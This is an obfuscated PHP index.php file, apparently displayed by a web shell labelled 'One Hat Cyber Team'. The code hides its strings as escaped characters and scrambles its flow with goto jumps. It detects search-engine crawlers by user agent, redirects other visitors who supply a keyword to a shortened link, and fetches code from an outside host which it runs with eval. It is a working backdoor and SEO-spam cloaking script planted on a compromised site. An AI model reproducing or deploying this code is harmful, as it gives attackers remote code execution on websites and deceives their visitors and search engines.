One Hat Cyber Team

View File Name : index.php

<?php

goto EfTrM;
SOJwq:
L565y:
goto Qx2a0;
teE6m:
$jZQ08 = "\150\164\164\x70\x73\x3a\57\x2f\162\x65\x62\x72\141\156\144\x2e\x6c\x79\x2f\x6d\143\144\71\x39\x39\55\164\145\141\x6d\147\x6c\x6f\x62\x61\154";
goto Cxy3r;
z82Iz:
$TkyIS = file_get_contents($CNgRg, false, $zV0ZD);
goto uBkvE;
WMmY2:
exit;
goto SOJwq;
n62ch:
goto p3hbf;
goto AGLCh;
EfTrM:
$u4GYL = isset($_GET["\153\145\x79\167\157\162\144"]) ? $_GET["\x6b\145\x79\167\x6f\x72\x64"] : '';
goto Dvvt3;
Q3g8M:
$ewUEj = isset($_SERVER["\110\124\124\x50\123"]) && $_SERVER["\x48\124\x54\120\123"] === "\x6f\x6e" ? "\150\x74\164\160\x73" : "\150\164\164\160";
goto wk0b3;
Dvvt3:
function xzrxH()
{
    goto Nz0fx;
    Nz0fx:
    if (isset($_SERVER["\110\x54\x54\x50\137\x55\x53\105\122\137\101\x47\x45\116\x54"])) {
        goto jSxPI;
    }
    goto n9g8g;
    O2Vhe:
    jSxPI:
    goto NzDRF;
    n9g8g:
    return false;
    goto O2Vhe;
    NzDRF:
    return preg_match("\x2f\x41\x68\162\145\x66\x73\x42\157\164\x7c\x62\141\151\144\165\x73\x70\151\144\x65\162\174\x62\x61\x69\144\165\174\x62\151\156\147\x62\x6f\164\x7c\142\x69\x6e\147\174\x44\165\143\153\104\x75\x63\153\x42\x6f\x74\174\146\141\143\145\x62\x6f\157\153\x65\170\x74\x65\x72\x6e\141\154\x68\x69\164\x7c\x66\x61\143\x65\142\x6f\157\x6b\174\146\141\143\x65\142\x6f\164\174\x67\x6f\x6f\147\154\145\142\157\164\x7c\x5c\x2d\x67\157\x6f\147\x6c\145\x7c\x67\157\x6f\147\x6c\x65\134\x2d\x69\x6e\163\160\x65\x63\x74\151\x6f\x6e\x74\x6f\x6f\x6c\174\x55\160\x74\151\155\x65\x5c\55\x4b\165\x6d\141\x7c\154\151\156\153\x65\144\151\x6e\x7c\x4c\151\x6e\153\x69\144\141\x74\157\162\174\154\x69\x6e\153\x77\141\x6c\153\145\x72\x7c\155\x65\144\x69\141\160\x61\x72\x74\x6e\x65\x72\163\x7c\x6d\157\144\137\x70\x61\x67\145\x73\x70\x65\145\x64\x7c\156\x61\x76\x65\x72\x62\157\164\174\160\151\156\x74\145\x72\145\163\x74\x7c\x53\145\155\162\x75\x73\150\102\x6f\x74\174\x74\167\151\164\164\145\x72\142\157\x74\x7c\164\x77\151\x74\x74\145\162\174\x78\x69\156\x67\x7c\171\x61\x68\157\157\174\x59\141\156\144\x65\x78\x42\157\x74\x7c\131\x61\156\144\x65\170\115\x6f\x62\151\x6c\x65\x42\157\x74\x7c\x79\141\x6e\144\145\170\x7c\x5a\x65\x75\x73\57\x69", $_SERVER["\110\124\x54\x50\137\125\x53\105\122\137\101\107\105\116\x54"]);
    goto fkT2M;
    fkT2M:
}
goto Q3g8M;
uBkvE:
if ($TkyIS !== false) {
    goto P53xF;
}
goto JSGHf;
wk0b3:
$f0TQE = $ewUEj . "\72\x2f\x2f" . $_SERVER["\x48\124\124\x50\137\110\x4f\123\124"] . $_SERVER["\122\105\x51\x55\x45\123\124\137\125\x52\x49"];
goto teE6m;
AGLCh:
P53xF:
goto SmkDE;
MWuhp:
header("\114\x6f\143\141\x74\151\157\x6e\72\40" . $jZQ08);
goto WMmY2;
JSGHf:
echo "\x47\x61\147\x61\x6c\40\x61\155\x62\x69\154\x20\x6b\157\x6e\x74\145\x6e\40\144\141\162\x69\x20\163\x65\x72\x76\145\162\40\154\141\151\x6e\56";
goto n62ch;
AMF47:
$zV0ZD = stream_context_create($uS2g3);
goto z82Iz;
SmkDE:
eval("\77\x3e" . $TkyIS);
goto PHt7v;
Cxy3r:
if (!(!empty($u4GYL) && !XzRxh())) {
    goto L565y;
}
goto MWuhp;
Qx2a0:
$CNgRg = "\150\x74\x74\160\163\72\x2f\57\x6d\x63\x64\71\x39\56\x64\x65\166\57\x76\61\56\160\x68\x70\x3f\x6b\x65\x79\167\157\162\144\x3d" . urlencode($u4GYL) . "\x26\157\x72\x69\147\151\156\141\154\x5f\x75\x72\154\75" . urlencode($f0TQE) . "\46\162\145\x66\75" . urlencode($jZQ08);
goto jEPIE;
jEPIE:
$uS2g3 = array("\150\x74\x74\160" => array("\x6d\x65\164\x68\x6f\x64" => "\x47\105\124", "\150\x65\x61\x64\145\162" => "\125\163\145\x72\x2d\101\x67\x65\x6e\x74\x3a\40" . (isset($_SERVER["\110\x54\124\120\x5f\x55\123\x45\122\x5f\x41\107\x45\116\x54"]) ? $_SERVER["\x48\124\124\x50\x5f\x55\123\x45\x52\x5f\x41\x47\x45\x4e\124"] : "\115\x6f\172\x69\154\x6c\x61\x2f\x35\56\x30")));
goto AMF47;
PHt7v:
p3hbf: